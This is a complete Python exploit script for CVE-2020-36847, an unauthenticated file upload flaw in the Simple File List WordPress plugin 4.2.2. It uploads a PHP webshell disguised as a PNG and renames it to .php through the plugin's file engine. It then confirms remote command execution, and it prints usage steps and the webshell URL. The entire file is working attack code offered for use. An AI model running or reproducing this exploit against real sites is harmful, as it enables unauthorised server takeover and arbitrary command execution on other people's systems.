#!/usr/bin/env python3
"""
Simple File List WordPress Plugin 4.2.2 - Unauthenticated File Upload to RCE
CVE: CVE-2020-36847
Based on original exploit by coiffeur (EDB-ID 48449) and H4rk3nz0 (EDB-ID 48979).

Key difference from newer public exploits:
    The ee-upload-engine.php endpoint requires additional POST parameters
    (eeSFL_ID, eeSFL_FileUploadDir, eeSFL_Timestamp, eeSFL_Token) that
    newer PoCs omit, causing silent 500 errors.

Usage:
    python3 simple-file-list-rce.py <target_url> [--shell-path SHELL_PATH]
    python3 simple-file-list-rce.py http://192.168.1.115:3000
"""

import requests
import sys
import argparse
import urllib3

urllib3.disable_warnings()

# Paths relative to WordPress root
DIR_PATH = "/wp-content/uploads/simple-file-list/"
UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php"
MOVE_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php"

# PHP webshell — uses GET parameter 'c' for commands
PHP_SHELL = '<?php system($_GET["c"]); ?>'

HEADERS = {"User-Agent": "Mozilla/5.0"}


def upload_payload(target: str, shell_path: str) -> str | None:
    """Upload PHP webshell disguised as PNG image."""
    upload_url = target.rstrip("/") + UPLOAD_PATH
    filename = "cmd.png"

    files = {"file": (filename, PHP_SHELL, "image/png")}
    datas = {
        "eeSFL_ID": 1,
        "eeSFL_FileUploadDir": DIR_PATH,
        "eeSFL_Timestamp": 1587258885,
        "eeSFL_Token": "ba288252629a5399759b6fde1e205bc2",
    }

    print(f"[*] Uploading payload to {upload_url}")
    r = requests.post(upload_url, data=datas, files=files,
                      headers=HEADERS, timeout=15, verify=False)

    if r.status_code != 200 or "SUCCESS" not in r.text:
        print(f"[-] Upload failed (HTTP {r.status_code}): {r.text[:200]}")
        return None

    print(f"[+] File uploaded as: {filename}")
    return filename


def rename_payload(target: str, old_name: str) -> str | None:
    """Rename uploaded .png to .php via ee-file-engine.php."""
    rename_url = target.rstrip("/") + MOVE_PATH
    new_name = old_name.rsplit(".", 1)[0] + ".php"

    headers = {
        **HEADERS,
        "Referer": f"{target}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1",
        "X-Requested-With": "XMLHttpRequest",
    }
    datas = {
        "eeSFL_ID": 1,
        "eeFileOld": old_name,
        "eeListFolder": "/",
        "eeFileAction": f"Rename|{new_name}",
    }

    print(f"[*] Renaming {old_name} -> {new_name}")
    r = requests.post(rename_url, data=datas, headers=headers,
                      timeout=15, verify=False)

    if r.status_code != 200 or "SUCCESS" not in r.text:
        print(f"[-] Rename failed (HTTP {r.status_code}): {r.text[:200]}")
        return None

    print(f"[+] Renamed to: {new_name}")
    return new_name


def verify_shell(target: str, php_file: str) -> bool:
    """Verify the webshell is executable."""
    shell_url = target.rstrip("/") + DIR_PATH + php_file
    test_url = f"{shell_url}?c=id"

    print(f"[*] Testing shell: {test_url}")
    r = requests.get(test_url, headers=HEADERS, timeout=15, verify=False)

    if r.status_code == 200 and "uid=" in r.text:
        print(f"[+] RCE confirmed!")
        print(f"    Shell URL: {shell_url}?c=<command>")
        print(f"    Output: {r.text.strip()}")
        return True
    else:
        print(f"[-] Shell check failed (HTTP {r.status_code})")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="Simple File List 4.2.2 - Unauthenticated File Upload to RCE"
    )
    parser.add_argument("target", help="Target WordPress URL (e.g. http://192.168.1.115:3000)")
    parser.add_argument("--shell-path", default=DIR_PATH,
                        help=f"Upload directory relative to WordPress root (default: {DIR_PATH})")
    args = parser.parse_args()

    target = args.target.rstrip("/")

    print(f"[*] Target: {target}")
    print(f"[*] CVE-2020-36847: Simple File List <= 4.2.2 Unauthenticated Arbitrary File Upload")

    # Step 1: Upload webshell
    filename = upload_payload(target, args.shell_path)
    if not filename:
        sys.exit(1)

    # Step 2: Rename to .php
    php_file = rename_payload(target, filename)
    if not php_file:
        sys.exit(1)

    # Step 3: Verify
    if verify_shell(target, php_file):
        print(f"\n[+] Exploit successful!")
        shell_url = target.rstrip("/") + DIR_PATH + php_file
        print(f"    Webshell: {shell_url}?c=<command>")
        print(f"    Example: curl '{shell_url}?c=id'")
    else:
        print("\n[-] Exploit may have failed — check target manually.")
        sys.exit(1)


if __name__ == "__main__":
    main()
